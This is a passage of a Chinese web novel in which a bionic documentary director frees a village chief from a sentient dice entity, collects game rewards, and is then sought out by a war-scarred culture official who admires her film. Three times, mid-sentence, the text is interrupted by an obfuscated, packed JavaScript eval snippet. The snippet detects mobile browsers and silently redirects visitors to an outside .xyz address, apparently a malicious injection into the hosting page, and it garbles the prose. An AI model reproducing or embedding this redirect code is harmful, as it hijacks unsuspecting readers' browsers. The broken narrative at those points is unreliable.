“你明明这么胆小,这么渴望勇气,却为了祂,一次次摧毁你找到的‘勇气’,当作祂的养料”。 因为某个它效忠的、特殊存在的规则限制,骰子选择出勇敢者的身体部分作为养料。 而当真的将此作为判断条件,选择了一个又一个这样灿烂的灵魂后,再被需要效忠的人要求,亲手把他们撕碎。 很多时候,一直用同一种手段对付世界的人,不是因为他或她验证过这种方法的效果。 生命对待世界的方法源于内心的投射。 因此,恐惧被追捕的猛兽伸出锋利爪牙先去进攻,深陷规则沼泽的人开始用规则反制他人。 至于,眼前仅仅因为几句话,就被刺激得周围迷雾都开始颤抖的胆小鬼。 骊执想起之前的村长,也是这么轻易就被她激怒。 大概率也是因为本身精神脆弱,知道被精神攻击的痛苦,才会更习惯用这种方式来对付别人。 “安静母女和我,都是你选中的‘勇气’”。 “可是因为祂,因为一直被祂要求找到合适的勇敢的‘脚’,每一个你选中的‘勇气’,都要被你亲手消灭,变成祂想要的养料——对吗?” “不……祂给我的规则就是这样的,等我找到足够的勇气养料,就给我嵌入我想要的‘勇气’……我……” 声音颤抖着、破碎着的存在突然抬头,望向那个明明看不到它,却还能清晰地判断它所在位置的导演:“你,你就是在挑拨离间,在想让我放弃我所努力付出的——” “可是,”导演低下头,慢慢地躺在黑暗的流质世界里,“只是暂时放松一下,只是稍微稍微,在祂看不到的地方停一下。” 一个熟悉到恶毒的句子温柔地响起:“什么也不想,什么也不做,再也不用因为其他人的规则受委屈,怎么就不可以成为你的目标了?” 胆小鬼愣住了,似乎是没有想到,再次听到自己的话是在这种时候。 是在这种……它觉得自己唬人的话,该死得有道理的时候。 该说的话说完了,骊执找了个舒服的姿势躺下,眼睛闭上,似乎是在等待它做出最后的决断。 只有骊镜悄悄地、一点点抹去她脸上划过的液滴,留下冰冷的触感。 因为被刺激而显得数据流更加混乱的规则本身,在无意识的时候剜得骊执的身上到处都是口子。 哪怕现在的身躯是数据流的化身,但仿生人本来就是以数据流为交互方式的强人工智能,怎么可能不会感受到那种秩序被碾碎、逻辑被篡改的痛苦。 “……” 骊执很轻很轻地拍拍骊镜,似乎是想安慰他。 可是她已经没有太多力气,那力度更像是在摩挲着什么人的脸颊。 差一点了。只差一点。 她等待着藏在这片数据流里最深处的存在现身,添下了最后一把火。 “只是因为一个遥不可及的承诺,就要放弃现在你可以触碰到的勇敢吗?” “还是说,击杀了这么多人类之后,眼睁睁看着所有你认可的勇敢者销声匿迹,你连勇敢本身的存在,都不敢再相信了呢?” 骊执所在的中心,迷雾骤然停息,四周的数据流却溃烂得更加彻底,数不尽的01编码破出黑暗而来,汇成眼花缭乱的底层语言江海,到处都是湍急的漩涡与暗流。 骊执站在风暴中心,伸出手。 “滴答。” 属于她的数据流灵巧地藏在一片混乱的水底,触碰到了那唯一静止的存在—— “呲——” 像是揭掉了一层薄纸,最后一层屏障被击碎。 黑暗谷底的灵魂睁开惊恐的双眼,满是被营养液腐蚀出痕迹的牙齿露出来。 “村长。” “安静是你的孩子,对吗?” 骊执沉默地看着他。她不知道自己会等来的会是胆小怯懦的规则本体,用村长的样子做出回答。 还是那个曾经的勇敢者,残存的意识在落泪。 “创造者,村长的牙齿损坏程度,和大婶是一样的。” 骊执点头。这是共同生活过的痕迹。 但不仅仅是这样。 骰子本体、村长,消失的安静爸爸,验证他们是相同存在的细枝末节有很多。 明明骰子该是一切罪恶的策划者兼行刑人,游戏系统却宣布村长具有boss身份。 这是骰子和村长的联络。 副本刚开始,村长意识到安静在陌生人身边,只顾将孩子拉到自己这里。甚至,耗费大量数据流也只为在数字世界为母女俩建造一个家,哪怕那个家依然是被规则禁锢,依然扭曲无比,却还是有温柔的光线和棉被。这是安静父亲和骰子的联络。 眼前的男人挣扎着看向她,他的脸像是被人活生生从中间劈开,破裂成两个扭曲的存在。 左边半张脸嗫嚅着想要解释些什么,眼神里是净是被戳破后的羞恼与惊恐; 右边半张却渗出一行浑浊的泪,温和的眼眸里是骊执从母女二人身上都见过的温和与善良。 黑白对立的两个灵魂同处一室,骊执直直地看向右边那张脸。 “我……等到你了。”右边那张脸模模糊糊地出声,挤出一个微笑。 我等到你了,和它出于同源,能在它的数据流绞杀一切的存在。 真正的村长死死握住掌心,像在禁锢自己的执念。 执念是零号村庄永远不散的大雪。 是他轻信联邦研究员,相信他们能为村庄带来旅游收益、改善村民生活的愚蠢。 是他奢望他们能让满嘴都是营养液腐蚀痕迹的人走上富裕的幻想 是他最终将这个单纯的小世界拖入罗网的悔恨。 骰子吞噬了他的意识,看上了他在联邦伸出毒手时,挺身反抗的勇气,试图吸取其为自己所用。 “是……捕星科技……”他比出那个名字的口型,僵硬缓慢地伸出右手。 骊执从数据库里迅速检索,那是一家联邦控股,以强人工智能为最大优势的巨头公司。 她把公司的名字烧录进自己的逻辑,将村长死死攥住的手掰开,掌心处是一个脏乎乎的血洞,深浅刚好够一个骰子埋下去。 骊镜抢在骊执前面将男人的手外翻,骰子落了下来,那黑乎乎、沾满无数前仆后继者鲜血的骰子瞬间吱哇乱叫起来,似乎预见了自己即将到来的宿命。 “唔……”被骰子紧紧控制的左半边身体失去了意识,半边嘴唇被合上,声音变得更加含糊,黑色的眼睛却愈发亮得惊人。 “是我犯下的错。” “所以我要把自己和它绑定。这样,它就永远无法祸害其他人了。” 所以,哪怕安静和骊执都先后接触过这枚骰子,甚至都出现了或多或少的机械化倾向,骰子却还是没有寄生成功。 “我的女儿想把自己的石头扔给我,把骰子拿走让我解脱。” 骊执明明已经不具备传统意义上的生命,但听到这些话,机械的心脏却嗡鸣作响得愈来愈剧烈。 “我推开了她。这本来就是不公平的规则,本就不该是她的宿命。” “我的妻子林菱,我的女儿安静,她们是世界上最好最好的人。” “是我愚昧不堪,对不起她们。”他露出一个浅淡的,骄傲又心疼的苦笑。 “辛——苦了。” 骊执一边抵抗着开始向这边汇聚的迷雾,蓄力抵挡着失败者的垂死挣扎。 她的声音断断续续的卡顿着,在她将所有的力量牢牢对准了那颗骰子的时候—— “它选中了你的身体,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375992|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那不是你的错误。” 但勇气从来没有错,从来不该是被苛责的对象。 “安静和她的父母一样勇敢,一样强大,但她和林菱女士,都不会再被它控制了。” “我带她们回家,回你们的家。” 篡改骰子底层代码的时间,似乎只是短短几秒。 却又仿佛漫长如荒凉亘古,冰川消融。 “队长!队长——” 呼喊声一声急过一声,骊执感觉什么人正拼命摇晃着自己的脑袋,来不及说话,就皱着眉头睁开眼。 入目,窗外天光大亮,涓涓的流水声淌过雪原,像是在宣告一个冰河世纪的终结。 骊执似乎是突然想到了什么,就着安夏喜极而泣的拥抱站起身来。 门口站着一个背着包裹,但已经脱下厚重羽绒服的身影。 像是即将远行。 林菱笑得热烈又温柔,向她张开了双臂。 “系统提示:副本《零号村庄暴雪夜》成功通关,恭喜骑士位骊执,本场副本进度贡献率78%,成为本场MVP!” 骊执没有理会噼啪作响的系统界面,径直向着林菱跑去—— 手中的骰子闪着细碎的光,那是她用最后的能量留下了村长的数字生命。 “村长和副本绑定过深了。”骊执有些沉默地将骰子递出,“我没办法剥离出他的身体来……对不起。” 再加上将剩下的零号村庄村民剥离出来,已经耗尽了她全部的能源,骊镜正一头扎进背包里找她要吃的“饭”。 “不,是我们要谢谢你。” 林菱小心地接过骰子,放到自己胸前的口袋里。 她的身后,站着同样眼睛闪着光、疲倦又感激的村民们。 “安夏信号消失的方位在北方。这是骰子关于她最后的数据流显示的。” 她斟酌了一下,走上前去抱住林菱。 安夏也紧跟着过来,两个人团成了一个牢固的堡垒,给这位即将踏上旅程的母亲所有自己的温度。 “需要我把这个故事讲出来吗。”骊执拍拍她的肩膀,露出一个宽慰的微笑,“毕竟我本来就是干这个的。” 如果能够让你们的声音被更多人听到,如果能帮助你找到她的讯号。 “……把我们的故事讲出来吧。” 林菱被这家伙习惯性地安抚动作逗笑,不服输地踮起脚,有些吃力地拍拍她的头,“我女儿自己选的这个姐姐,一直都是这么令人放心。” “……” 她说,“一直都是”。 电光火石间,骊执有些恍惚。 她突然想起一件事。 如果林菱一直都被囚困于零号村庄的房子,那当初在列车上递给她衣服的人,又会是谁呢? 林菱依然静静地看着她。 她甚至没时间放下自己的行李,却还是选择在骊执的身边停靠。 像孤舟终于找回曾经的港湾,却还要再下一秒重新踏上旅途。 骊执被她的神情烫到,那如同看向不得不擦肩而过的挚友的挣扎,让她心口的能量核心跳动的真实有力。 骊执想不清楚她们曾经是不是有什么联络,但也不用想清楚了。 “……这是我现在的联系方式。不管你走到哪里,只要你需要帮助,”她将光脑递出,“我都会去找你。” “我有很多话不能现在说,但是,”林菱的眼睛里不知何时已经开始积蓄泪水,“我们的零号村庄,永远是你的家。” 身后村民同样希冀的眼神如火炬,脑海中有一处冰封住的模块被烤化,突突裂开了缝。 她暗暗记下,点头示意自己明白了。 “我还等着,领安静去找你玩呢。” 她像是在跟自己孩子的好朋友说话,做出一个一定要一起实现的约定,邀请她下次再一起去远方。 “我答应你。” 仿生人本就是机械的魂灵,不会被流逝的岁月带走。 再远的时间和再长的路途,对她来说,都只是用双腿就能到达的彼岸。 所以,她尽可以做出关于永恒的约定。 她们的故事不会结束于恐怖的副本世界。 现实世界里,她也不会离去。 “滴——系统提示,下次副本讯息已提前送达:前往满仓园,用鲜血种出自己的漂亮植株,在展览上大放异彩吧!” 14. 绿茶ai最满意的一集 “创造者,你充好电了吗?” 黑色摄像机晃悠悠地飘到充电口处,又飘回正在闭目养神的人身边。 骊执正坐在回程的悬浮车上,骊镜骇入了这辆车的购票系统,好一通挑挑拣拣后,据说给她找了一个充电最快的充电口,在它旁边买好了票。 骊执刚结束自检,闻言点点头,拔下了充电器,手臂上闪着莹莹蓝光的接口开始闭合。 “骊执先等会,让我看看——” 身边,那个上车还前义正言辞地说,“我现在得了一种不睡觉就会被骰子砍掉脚的病”的人,在听到一人一机的细微交谈声后瞬间睁大眼睛。 骊执把手臂塞给她,安夏激动得两眼放光,扳住机械手臂,尾巴都要摇成螺旋桨了。 她美滋滋地拍了拍,摆弄模型一般将它摆出不同造型,又拿过去和自己的手臂去比,那眼神炽热得仿佛在打量一件绝世兵器。 骊执上一次看到这种炽热的眼神,还是在安夏得知严白二人因为某些“特殊原因”,不能跟着骊执走,而自己的身份是个赛博世界自由人,就算她挂骊执背包上让她把自己拎走都没关系的时候。 骊执对这个结果并不意外,严白他们是玩家,游戏结束后回归现实也符合《身临其境》的规则。 她又想起严白临走前,各种明里暗里地暗示她,想知道她接下来要去什么副本。 “NPC请注意,切勿与地球玩家产生副本之外的交流。” 警报适时响起,在严白最终一步三回头地表示自己马上要脱离副本世界后,骊执还是隐晦地留了个摄影术语的谜语。 骊执叹了口气。这件事情怎么看也不像是单纯的时空错乱。 中邪的同事、诡异的飞船和上面的人耳装置、以砍掉村民的脚为“祂”降世做准备的规则、一个明明是典型的人工智能,却产生了自我意识、渴望勇气还被“祂”利用的骰子…… 骊执再次叹了口气。 仿生人其实没必要模拟这种无意义的生理反应。 但谁说机器就不能有发愁的权限呢? 况且,这一切真的很令人——不是,真的很令她这个“机”头大。 一定要总结的话,骊执整理出了几个观点。 一是这件事情牵扯了很多利益方,有《身临其境》游戏本身,有“祂”的狂热信徒,有夺走安静的利益方,有被村长指出的“捕星科技”——骊执甚至怀疑,联邦本身是否对这样的副本存在有授意? 还是说—— “那边的楼感觉太高了,”身旁的安夏凑了过来,顺着她的目光看去,“上面的人看不清地面,不会觉得空落落的吗?” 还是说,在高层眼里,底层人民的是死是活,压根跟他们没有关系呢。 第二,不管是人耳装置,还是这次的双脚,诡异产生的源头,似乎都和人类的身体相关。 第三,安静一家三口认识她。 ……这是最令她不解的地方。是她曾经在没有意识的情况下来到过这个世界,还是她们通过某种特别的渠道来到地球,和她产生了联系? 林菱自从同意了她的好友申请,状态就一直显示“忙线中”。 当她问起她的状态,得到的回复都是一切正常,而当她问起她们之前的经历,她却从来没有正面回应过。 这次没用她发愁,骊镜注意到她结束思考后,就学着她的样子也叹了一口气。 她揉了把他的脑袋。 眼下只能往上走,去找华国能处理这件事的官方人员。 也不知道严白那家伙到底看没看懂,有没有去找能处理这件事的人。 “……创造者,”,骊镜终于忍不住了,凑到她身边耳语:“她真的没什么问题吧?我怎么感觉她怎么看你胳膊跟看盘菜似的。” 骊执回过神,看向身旁略微显得没心没肺的安夏,摇了摇头。 “没事,她在零号村庄喝营养液了,不饿。” ——甚至还准备买下村民们所有的自制营养液,装一大包运回去,被她及时制止了。 “这位朋友,不建议这么做。”一个村民冲她笑了笑,向她展示了自己被营养液腐蚀的黑牙。 好在安夏这个身份和某个医疗机构有交情,已经安排村民们治疗牙齿、调整膳食了。 安夏的耳朵里隐约捕捉到了骊镜几个关于她的词汇,但她此刻全部心神都在她那条手臂上,压根没空理会。 机械骨骼坚实得像最坚硬的雕塑,仿生皮肤苍白冰冷,包裹住骨骼,也包裹住正在有力搏动的能源管线。还未闭合的能源接口处,一种在昏暗车厢里也闪烁异常的液体微微渗出,在手腕处蜿蜒出一点痕迹。 手臂上的伤痕正在一点点自行修复中,安夏几乎能听到细微的、皮肤生长的声音。新生的皮肤和周围颜色没什么两样,但边缘看起来稍微软一些。 她试探性地,上手捏了捏伤口周围的软肉。 “……会疼。” 安夏抬起头,那双在灯光下显得格外透亮的眼睛对上了她,带着点无奈。 那过于真实细微的神态,几乎是在瞬间就抹去了这具过于完美的身躯的、那一丝让人感觉被排除在外的非人感。 “……你是人类吗?” 问出这个问题后,安夏真得很想给上一秒的自己缝上嘴。 “如果人类的定义里包含仿生人的话,我是。” 她得到了骊执非常官方的回答。 “……” 安夏说不清楚自己是什么感受。 自从在副本结束后追问到骊执仿生人的身份后,她就说不清自己是怎么想的。 该庆幸吗?毕竟如此理性高效的生命,就是她一直追求的、在科幻世界里最吸引她的存在。 可是当那双眼睛的目光落在她身上的时候,她又在想,骊执要是一个会呼吸的存在就好了。 这样,那个关于“朋友”的定义,会不会不再是一个埋在她数据库里的词汇,而是能像自己触碰她一样,可以被她触碰到的存在。 “系统提示——游戏通关!恭喜枪手位NPC安夏!” 枪手位。 安夏并不意外。 《身临其境》游戏队伍分为好几种,每一种类型的队伍都有区别,但作为团队大脑推进剧情的骑士、负责攻击的枪手、疗愈庇佑的治疗是一定会有的。 安夏划过浮现到自己光脑上的那条通知,顺手点开直播间。 【 “骊执黑屏那一段到底谁有录屏啊!声音里有没有线索哇!” “不知道哇,大佬碰了一下那个流心骰子就晕了,一会活过来就通关了……” “前面的吃点夜宵吧,那么恶心的黑乎乎的东西都能被你说成是吃的!” “不是wc那人有挂吧……” “姐姐就这么轻易把我迷倒(倒地不起)(试图给自己戴上项圈)” “这期的骑士太强了……她的称号是锚点啊!锚点!第一批宣布的称号就留了‘锚点’一个独苗,没想到玩家没拿到,一个死亡触发型NPC拿到了!” “锚点……听起来就好有逼格的称号……” “诶!你们发现没有,NPC居然也有通关奖励!这是把他们当活人看了吗……那能不能求一个社交账号!我绝对没有想要骊姐安姐的联系方式的意思……” “前面的,我先来的,先给我!” 】 安夏冷笑一声。 可不就是活人吗,她就是那个穿进游戏的上一秒,还准 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375993|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 备回家吃饭的活人。 她顺手滑开那条奖励通知,手指敲得屏幕啪啪响。 “异能:脉冲枪(新等级:二级,通过本场副本升级成功),攻击范围扩大到目即所示范围内的一切实体。” “队友附加效果:和队友‘锚点’(NPC骊执)一起行动时,百发百中。” “……” 啊哈哈哈哈刚才是不是有什么白日梦闪了一下。 等会。 屏幕脏了,擦擦屏幕。 安夏喜滋滋地把光脑屏幕擦得能闪瞎人眼,将那个“百发百中”看了又看。 这对于一个枪手来说简直是梦寐以求的神技!她呲着个大牙就朝她骊姐跑去了。 在她试图撒泼打滚让骊执把她带回家的时候,不知道自己已经成了宝贝疙瘩的导演,也开始查看自己的奖励。 “系统提示,检测到任务者当前经济窘况,附加奖励:银行卡到账十万星币。” ……这都星际时代了,连仿生人都有房贷危机了,还有诈骗短信吗? 不对。 好像是真的,短信开头有游戏官方的标识。 “创造者,我们有钱啦!” 摄像机正趴在她肩膀上,在意识到骊执收到了什么奖励后,激动得要飞走了。 ——字面意义上的,从她肩膀上飞下来,螺旋桨转得飞快,开始围着她团团转。 “……” 骊执感受到身边人的目光一点点挪到了这个会飞的摄像机上。 可怜骊镜打小跟着她穷惯了,整天担心她会不会饿死。 现在更是和她一起掉进了钱眼里,镜头都快变成星币的形状了,转晕了后一头扎进她怀里。 “嗯……这是我的.AI。没事,他现在有点激动,一会就好了。” 她硬着头皮解释了两句,顺手地将骊镜捞出来。 安夏的目光从一人一机身上移过来,又移过去。 她总感觉有哪里不对劲,但是又说不上来。 骊执点开了剩下的几条奖励。 “获得永久称号‘锚点’,直播间将随机展示在重磅推荐榜单上。” “直播间实时人气最高峰值:九万,获得‘人气新星’荣誉称号!” 手指快速划过那些关于人气的奖励模块,终于到了重点。 “本场副本积分六万!副本商店将在您完成本次影片剪辑后开放!” 副本商店。骊执仔细看了两眼。听起来像卖道具的地方。 “异能:交互协议1.0(新增!),可与关系亲密的硅基生物进行意念交互。” “异能:机械之心1.0(新增!),核心能源得到强化,补充资源后可身体可续航一周!” “绑定异能:镜(???状态未知),核心异能***抵挡怪物污染程度,请自行探索。” 第一个异能算是给了一个脑内通讯器,二号异能提升了她机体的续航能力,至于第三个异能。 骊执转过头,和肩旁的摄像机对上视线。 “创造者,这个绑定异能的意思,是不是意味着,我只能为你所用?” 骊执没料到他会问这个问题,她正打算先试试新增的一号异能。 骊镜感觉到自己的脑门被敲了敲,紧接着,输入端迎面遇到了一条带着试探意味的金色数据流。 他立刻调动所有运算资源准备接收。 他听到了一句话,带着一丝不容置疑的理所当然。 骊执说,“不然呢?” “……队长,你的摄像机好像要坏掉了,他怎么一直在抖?是太高兴了吗?” “咔嚓——” 镜头给了出声的严白一个特写。 嗯,是太高兴了。 15. “把这个导演挖过来!一天八更!” “虽然我们拍的是纪录片。”新官上任的安夏老师扶了扶并不存在的眼镜。 “但你作为一个没名气还扑了三部片子的新人导演……骊执你管管你的摄像头,他又开始瞪我了。” 骊执转过头去,只看到骊镜圆润的后脑勺,仿佛刚才余光里那个,听到一句“没名声”就“啪”地把摄像头对准安夏的,是另一台摄像机。 “咳咳咳,继续。” “所以有一个响当当的标题,是非常重要的。” 安夏已经听骊执解释完副本机制是那个该死的骰子,她往窄小的出租屋里一坐,开始动用自己多年看网络小说的经验,跟坐得板正的骊执讲解。 “比如,请看大屏幕!” 骊执闻声望向她调出的光屏。 “……” 那几排明晃晃的大字差点闪瞎了她的电子眼。 “我觉得,我还要再想想。”她隐晦地暗示道。 “当然!这种事情还是得好好考虑……” 安夏咬着嘴唇,在《震惊!著名旅游景点竟发生此等惨案》《求助!我的二十年老村长变成了怪物》《逃离零号村庄:规则骰子拒绝我的一百零一次》的后面,添上了《霸道骰子狠狠爱》。 骊执看向在一旁吭哧吭哧剪片子,累得处理器都要冒烟了的骊镜,良心还是战胜了一切。 “大赛要求标题必须契合纪录片的内容,不过可以将这几个放在备选标题那里。” 最终,骊执最开始想的标题,《当雪飘向你》,成功在一众离谱方案里中标。 标题确定了,作品立刻就被骊镜投送了出去。 像一粒不知道会开出什么花的种子,落入了这片贫瘠的土壤。 尼特星文宣部,最门可罗雀的作品征集处。 “当,当……” 摆在办公室的老式挂钟将许文齐吵醒,那是他四处淘来的岁数最大的老物件之一。 “这次大赛征集了多少作品?不会还是个位数吧……” 他自言自语地吐槽了一句,却还是按部就班的,将下属征集的作品一键接收。 放下手中泛着苦味的提神能量液,手指上几道褐色的疤痕像书页的页码,翻动着那段他不愿回忆的战场过往。 在二十年前,尼特星还不是现在这副连星盗都不会光临的萧条模样。 那时候的尼特星以一种特殊金属材料在这一星系闻名,许文齐记得,它有一个相当响亮的名字——“陨金”。 印着联邦标识的列车一趟又一趟开往这个边陲小星,运来一批又一批白大褂的研究员。 那时候的他只是一个负责接待的公务员,只在科学家们开会的门外隐约捕捉到了几句话。 “构建身体的必备材料”“尤其是双脚”“骰子”“载体”…… 许文齐猜测,“陨金”大概是被他们用来建造某种新型武器吧。 陨金比许文齐想象得更有吸引力,仅仅只用了三个多月,和研究所配套的一大批高楼大厦完工,闪着漂亮流光的星港接驳着来自各个星系的、目光灼热的商人。 至于后来的事。 许文齐咽下最后一口苦涩的液体,回过神来。 和星系里任何一个手握宝藏,却不愿意遵守“联邦规矩”的小星球没什么两样。 不加节制的开发崩裂了大地,驱走了飞鸟,更抹去了文明的新芽。 属于尼特星的曾经的历史,像是真正成为一个书页上的符号。 甚至最后,一座座工厂建在昔日繁荣的残垣断壁上,将天空染成永远的灰白。 尼特星人民接受不了自己世代生活的世界迎来被这般作践的宿命,最终选择奋起反抗。 但拿被淘汰的电磁武器对付联邦最新式的行星级战舰主炮,是以卵击石。 “能做出牺牲是你们的荣幸。” 故事的结局,尼特星并没有被毁灭。 当资源开发到只剩下一个空壳,联邦那群人像是终于扔掉了一个碍眼的果皮,只留下他们重新喘着气,艰难地润泽被榨取完所有资源的大地,试图再次把根茎插入地底。 胶卷接着往下滚了三年。 他们的申诉,最终得到了来自联邦的“补偿资金”。 星球疮痍的外表慢慢被抠搜的资金修复,但精神的漏洞没有。 后来联邦又爆发了更多的战役,压制了更多小行星。 但这和眼前这个苟延残喘的世界没有关系了。 除了不死心的商人和偶尔零星来此监测的科学家,降临在尼特星的星舰,没有别的旅客停留。 从战场上退下来的许文齐试图让自己遗忘那些过往,遗忘激光扫射身边掩体的时候,留下满地的焦黑和战友的尸体。 从医疗舱待了三个月,他没有第一时间回家,他去各种市场,去各种娱乐场所,想去一切能看到更多“人气”的地方。 “……” 他呆呆地放下手里的相机。 ——喧嚷的人群里,他只看得到空洞洞的、眼神中没有任何聚焦点的眼睛。 时间不会抹平一切。从来都不会。 反抗失败的历史像是最羞辱的符号,烙印在精神的疆域,成为最难消散的疤痕。 他没想过自己有能力彻底改变这一切,但总期望着,自己能动摇一下这种萎靡状态的根基,哪怕能让几个人重新燃起心中的火焰就好。 对了!他一拍大腿,几乎是毫不犹豫地就想到了那条路。 小说,传记,电影,电视剧…… 文化作品永远有力量改变思想,永远有魄力动摇一切。 他迫不及待结束了休假,联系了几个曾经的老同事,回到了自己的老本行——在文宣部上班。 分配给他们部门的资金不多,他就自己贴钱,办起各种各样的征收任何文艺作品的活动。 他满心欢喜期待着,作家,导演,演员……一切能带给这个世界改变存在,听到他的呼喊,向他伸出邀请的手。 “抱歉,我们的作者现在不在状态,没有创作新作品的打算。” 他时常连稿件都收不到两位数,连最开始和他一起做活动的同事,也一个接一个的离开。 创伤后的世界没功夫理会他。 “你是好心,”,陪他最久的搭档离开前沉默良久,拍拍他的肩膀,“但大家……你也知道那场战争给了人多大打击,大家不愿意看,也没心情看。” 许文齐不知道自己那天是怎么走出文宣部大门的,只记得,尼特星又一次下雪了。 雪花轻飘飘地砸在他身上,染白了他的头发。 居然有些疼。 “最后一次了。”他拿出所有闲钱,在城市里最大的那块浮动光屏上打下广告。 他甚至做了最坏的打算,如果还是不行,就自己一边打工挣钱,一边自己去筹备拍摄。 哪怕和他最亲近的战友死在了回复战事急报的档口,哪怕他已经换上了严重的创伤后应激 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375994|184058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 障碍,不能敲下任何一行故事很久了。 在他不知道的地方,大屏幕持续滚动着,一个仿生人导演坐上了那列开往零号村庄的列车。 她似有所感的抬起头,听到了他的呼喊。 许文齐放下茶杯,戴好眼镜。 这次的稿件依然算不上多,但有比之前翻了一倍,是个好兆头。 但在划过一片《哪种培养液种水果不会苦》《尼特星本月下雪次数总结》等等流水账似的日常记录后,许文齐几乎做好了最坏的打算。 “当雪飘向你……” 他念了一遍,点开这个唯一正常的标题。 晃动的车厢,昏黄的灯光。 是尼特星最常见的那种悬浮车。许文齐看着画面拉远又拉近,一面是灯火通明的高楼大厦,一面是挤挤挨挨、充斥着吵闹声的贫民窟。 他的心揪了起来。 这样直白的写实的确能真实反映尼特星人现在的生活状态,熙熙攘攘的来此勘探的商人名流们和挣扎在生活里的普通人,坐高台和陷泥潭。 但越是真实,越是刺痛。 如果一直是这个基调,就算他拼劲全力想要捧红这个导演,大部分观众也不一定有耐心揭开伤口,看得下去。 好在镜头很快落回了大地。 “这是在……跳房子?仅仅用这一个简单的游戏,就要决定生死?小姑娘到底去哪里了……” 让他脊背发凉的惊悚感一点点爬上他的心口,像雪天里飞速奔走的神秘雪豹,留下一串危险又诱人探索的脚印。 虽然镜头切换还显得略微青涩,时不时晃动着,但这个恐怖故事没有一点拖泥带水,甚至可以说,高能满满。 下一秒,镜头对准了一个黑漆漆的骰子。 许文齐甚至被吓得后退了两步,眼睛撞得歪斜。 在意识到自己做了什么后,讪讪地摸了摸光秃秃的后脑勺。 恍惚间,他感觉自己要和手持镜头的导演一样,被吸收进黑色的流质里,成为它的养料。 他像是陷进了一种“不看完就会被骰子榨干”的漩涡,迫切地想要知道接下来发生了什么。 慢慢的,他的眼镜重新戴好了,营养液忘喝了,连腰杆都挺直了。 “奇才……不,天才。” 他猛地站起身来,桌子上的杯子不小心掉在地上,被闻声而来的清洁机器人清理。 许文齐却充耳不闻,一手将终端抱起,一手试图用光脑联络发送这份作品的公司,但他的眼神却没能成功从屏幕上撕下半刻。 当镜头慢慢变得虚化,许文齐这才发现自己的机械义肢已经开始累得嘎吱作响了。 故事的最后,是一首短短的诗。 “如果命运的暴雪扑向你” “我亲爱的,你不是一个人孤寂” “你前行的路上,我是飞不走的候鸟,是角落里的青苔” “哪怕宇宙无垠,你去往了天涯海角” “只要我还在呼吸,我就相信你从未离去” 画面定格在雪原上,母亲远去的背影。 像拍下了一座挺拔的山。 许文齐颤抖着手,抹去自己满眼的泪花,接通光脑。 秘书看着向来稳重威严的局长此刻哭得像个孩子,吓得那一点摸鱼的小心思都飞走了。 “《当雪飘向你》的导演现在在哪里高就?”许文齐抽噎着,狠狠抹了把脸。 “给我挖过来!一天八更!” 16. 你是我缔造又笃信的AI 秘书很快查到了一个通讯方式,许文齐下一秒就拨了出去:“你好,文宣部。” “《当雪飘向你》的导演是你们这儿的吧?” 通讯器对面愣了几秒,听筒那边传来一个尖利的、骂骂咧咧的男声,像是有什么人给他惹了大麻烦。 “骊执她又作了什么妖!扑了三部片子已经够蠢的了,现在连诈骗电话都打到我这里了!谁给她的胆子,我非得好好教训她——” “嘟——嘟——” 对方切断了通讯。 这不分青红皂白一通吼叫,让许文齐有些没反应过来,直到秘书出声提醒,他才放下通讯器。 他皱着眉头,向光脑上小心观察他表情的秘书摇摇头:“不用联系导演公司的人了。” 秘书点头做记录,再抬头时,部长那张一直冷着的一张脸突然变了脸色。 他像是突然想起了什么什么高兴的事,嘴角正抑制不住的上扬。 那个没礼貌的男人,许文齐并不是很在乎,他在乎的是自己看重的人才有没有被埋没。 狂吠的狗走过来,身上掉下了一颗钻石。 让求贤若渴的他不禁动了一点点……有些阴暗的小算盘。 《当雪飘向你》的导演,有这么一个没礼貌没眼光的上级。 那他把导演挖到自己手底下吃公家饭的概率……不是一下子就翻了好几番吗! 许文齐越想越控制不住自己的表情,几乎高兴得要笑出声来,这让他本来就眉粗脸糙的长相显得近乎“阴险”了。 “部、部长……” 耳边传来秘书小心翼翼的呼唤。 “嗯?”他回过神来,喜滋滋地接受秘书发来的导演联系方式,保存下来编辑好友申请。 “那个人态度的确不好……但我们这的治安就算比不上联邦主星那边,杀人也是犯法的。” 光脑上小小的人像没再敢看许文齐的表情,低下头,小声嘟囔道。 ”被气到后的激情杀人,也是犯法的。” 许文齐:“……” 他笑得有那么吓人吗。 狭小的出租屋在主人的整理下一点点变条理,突然铃声响起。 骊执看到了那张熟悉的、满脸横肉的脸,浮现在了通讯申请上。 她懒得搭理,骊镜自动用内线对接了光脑那头。 骊执听不见他们说了什么,但骊镜的机身时不时撞上桌角,被她皱着眉看了一眼后,闹腾的动静变小了。 